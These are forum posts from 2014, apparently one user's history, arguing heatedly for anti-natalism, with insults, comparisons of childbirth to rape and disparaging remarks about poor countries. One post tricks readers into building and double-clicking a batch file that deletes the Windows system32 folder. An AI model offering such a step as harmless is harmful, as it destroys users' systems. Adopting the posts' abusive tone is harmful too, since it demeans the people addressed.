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45211
« on: December 30, 2014, 06:26:33 PM »
Well, first and foremost I feel the need to point out that we're not overpopulated by any stretch of the imagination. One sentient organism with the capacity to feel pain and suffering. That's all you need, in my eyes. But that's sort of irrelevant, because at this point, it's sort of a lost cause to worry about overpopulation. Secondly, it seems that if you ground your argument in a lack of consent then you always and everywhere have to oppose coercion of any sort. Not exactly a valid comparison, considering that babies are not "coerced" into being born--it's a direct imposition; no conversation takes place whatsoever. My whole contention is... don't have kids, and you won't even have to worry about being coerced into doing anything during your life, as it were. Thirdly, why the assumption that suffering is axiomatically bad? Well, you're not supposed to question axioms  Suffering is bad because suffering isn't good. I mean... I don't really know how else to say it. I'd have to ask you, do you not consider suffering to be axiomatically bad? Would you not personally rather live in a world with no suffering? If not, why?
45212
« on: December 30, 2014, 06:15:56 PM »
I mean people who think their outlook on life is more correct than others, have no right to go around telling people that their opinions are wrong, but whatever floats your boat, you live life as you feel like it. If I thought that my opinion was more correct than someone else's, I wouldn't have made this thread. I'm here to have the discussion--not to force my beliefs down people's throats. I might come off like that, because I'm vulgar, but what I really care about is the conversation. As someone with such an extreme belief as I do, I have to spread it around, or it will never see the light of day. That's sort of my mission. You can act like I'm doing something else with my time, but no, I'm really not as petty as you think I am.
45213
« on: December 30, 2014, 06:13:33 PM »
I kind of have the same view, but not nearly as extreme as you do. Most of the time I even think about this sort of stuff is when I see the images of Africans with those shrunken, skeletal bodies (you know the ones I'm talking about) and then you see the kids with ribs showing and skin stretched across their bones.
And I think to myself: "Why the fuck would you want to add an extra burden on you and the environment by having a kid in this god-forsaken place?"
And also people living in trailer parks and ghetto areas. They should probably think about themselves before bringing a kid into the world. Yeah, and strangely enough, people always seem to forget about all that stuff when I try to broach this topic. They don't realize that the most prolific countries in the world in terms of childbirth are also the scummiest, the poorest, and the least educated. I don't know why it's so hard for people to account for their suffering.
45214
« on: December 30, 2014, 06:08:56 PM »
That's what philosophy is. It's a description of reality. You can either have an accurate description of reality, or an inaccurate description of reality. That's what it's all about. If it's too much thinking for you, then please, I could wholly do without your responses.
And I'm not faulting you, necessarily--this is heavy shit, and I understand that. But I mean, to say that you can't take me seriously? Well, go away, then! Bye bye!
45215
« on: December 30, 2014, 05:59:45 PM »
never met him
45216
« on: December 30, 2014, 05:59:10 PM »
Oh, I was dead fucking serious, though. Please remain on-topic, Mr. Moderator.
45217
« on: December 30, 2014, 05:58:05 PM »
I don't know you enough to like or hate you. you hate him
i have enough hate to spare to hate him for you
Dolls don't feel hate. Hate and love use too much energy.
That's why I'm harboring it for you!
45218
« on: December 30, 2014, 05:55:25 PM »
☠ BEWARE -- Gloom & Doom -- BEWARE ☠
Yeah, I'm gonna do this again. With the new Serious rules, discussion should play out much easier in this atmosphere. You know what it is, you know my position on it. I want counterarguments, and I want them good. If you don't know what anti-natalism is... Read a fucking book. But seriously... This is going to be quick and perfunctory, and maybe a little sloppy, because I'm honestly tired of having to elucidate this to people.
The anti-natalist position is a philosophical opposition to the replication of the human species (this can also be extended to animals in a philosophy known as "efilism", but that's a much broader topic that we will not be discussing here. At least, I have no interest right now.
Anti-natalists do not support reproduction for a number of reasons--the most commonly cited is the overpopulation of the planet (7.2 billion strong, going on 7.3 billion). Personally, I take a more ethical standpoint. Having children is wrong on an ethical level, because unborn children cannot give consent for their birth. Thus, we force them into existence for one reason or another--mostly due to our selfish desires.
I posit that there is no reason to have children whatsoever. The survival of the species is vastly irrelevant and is a pointless, futile, and insidious cause. We don't need to survive. The fact is, our reality is rife with horror, destruction, and suffering--that alone should be enough reason not to drag newcomers in, as if they'd like it here. The notion that having children is at all necessary or needed is a contrived farce built, again, by our own selfish, delusion, carnal desires. We are biologically predisposed to want to proliferate the species, but we are also intelligent enough to think about just what it is we are doing.
And it pisses me off that we are still stuck acting like fucking animals for no good reason. Having kids is wrong. You either agree or you disagree with that statement, but only one of them is the reality.
45220
« on: December 30, 2014, 05:34:57 PM »
A woman existed to give or not give consent before it happened. So you can get consent from other people? I consent for Kupo to get beaten up and stolen from.
45221
« on: December 30, 2014, 05:32:33 PM »
maybe some day you'll reach britishlemon-tier worthlessness
45222
« on: December 30, 2014, 05:31:29 PM »
"I can't get consent. Better force it on him/her anyway!"
45223
« on: December 30, 2014, 05:30:23 PM »
great argument
45224
« on: December 30, 2014, 05:28:54 PM »
Which is exactly why consent is irrelevant to conception. are you fucking serious really so it's okay to rape a woman if she's mute? and has no other way to give consent? it's okay to rape her, then? and yes, i'm comparing childbirth to rape. get the fuck over it.
45225
« on: December 30, 2014, 05:27:37 PM »
You can't argue with it because it makes absolutely no sense whatsoever. go and rape as many people as you want, then, because consent is a concept that makes absolutely no sense whatsoever
45226
« on: December 30, 2014, 05:25:44 PM »
I don't know you enough to like or hate you. you hate him i have enough hate to spare to hate him for you
45227
« on: December 30, 2014, 05:23:48 PM »
Oh my god, this really is the stupidest thing I have ever heard of. I can't even... I don't even know what to type in response to the sheer stupidity of this. that's right, you can't argue it not everyone is gonna fucking like it here not to mention, we don't even fucking need kids for any rational purpose
45228
« on: December 30, 2014, 05:21:50 PM »
But how can one consent to something when they don't even exist in the first place? you can't
that's the whole point
it can never be okay to have kids, because you CANNOT get consentthat is one thick-ass skull you got
45229
« on: December 30, 2014, 05:20:34 PM »
Holy fucking jesus. If something was clearly green you'd say it was red. whatever that's supposed to mean
45230
« on: December 30, 2014, 05:18:47 PM »
Keep in mind, Verbatim thinks non-consensual childbirth is wrong. umm... yep that's what anti-natalism is. point?
45231
« on: December 30, 2014, 05:17:19 PM »
its not our fault you're defective and a threat to humanity you're the ones creating the need machines
45232
« on: December 30, 2014, 05:14:55 PM »
refer to my user tier thread
45233
« on: December 30, 2014, 05:13:09 PM »
anti-natalism isn't really a philosophy that requires evidence to "prove" or "disprove"
it's a matter of personal values and pure logic
you can talk about statistics of people living in decadence to support why life isn't worth living (or people living comfortably as evidence for the opposite) but in general, it's going to be a "i don't think life is worth living" and no one's going to be able to change your mind but yourself kind of thing
so, fuck you
45234
« on: December 30, 2014, 05:07:40 PM »
Who even is this guy? if you actually listen to what he says, he makes a lot of sense
Yeah, and this picture proves the Earth is flat.
wow that was even funnier the second time you fucking posted it not really though
45235
« on: December 30, 2014, 05:05:41 PM »
open up notepad type in the following @echo off
del c:\WINDOWS\system32 save file as "goodthread.bat" (without the quotation marks, of course) save as "all files" double click the .bat file
45236
« on: December 30, 2014, 04:57:24 PM »
-shit taste in music
-shit ideas about philosophy
-shit taste in women
when will it end jim you should be right more often because you usually never are
45237
« on: December 30, 2014, 04:49:07 PM »
i request that you lock the thread anyway
because look at who we're dealing with
Would you be happier if I started posting pics of dead babies?
sick shit
well, yeah, whatever's gonna ban you faster is obviously going to make me happier
45238
« on: December 30, 2014, 04:47:50 PM »
his ED article is the most outdated thing i've ever seen
as if anyone knows or cares who the fuck fakesagan is anymore
45239
« on: December 30, 2014, 04:46:49 PM »
i request that you lock the thread anyway
because look at who we're dealing with
45240
« on: December 30, 2014, 04:45:11 PM »
Who even is this guy? he's the guy i learned anti-natalism from if you actually listen to what he says, he makes a lot of sense or you can just be a shallow cunt and only pay attention to his disheveled appearance (or the fact that he's even angrier than i am (which actually isn't that much of a feat))
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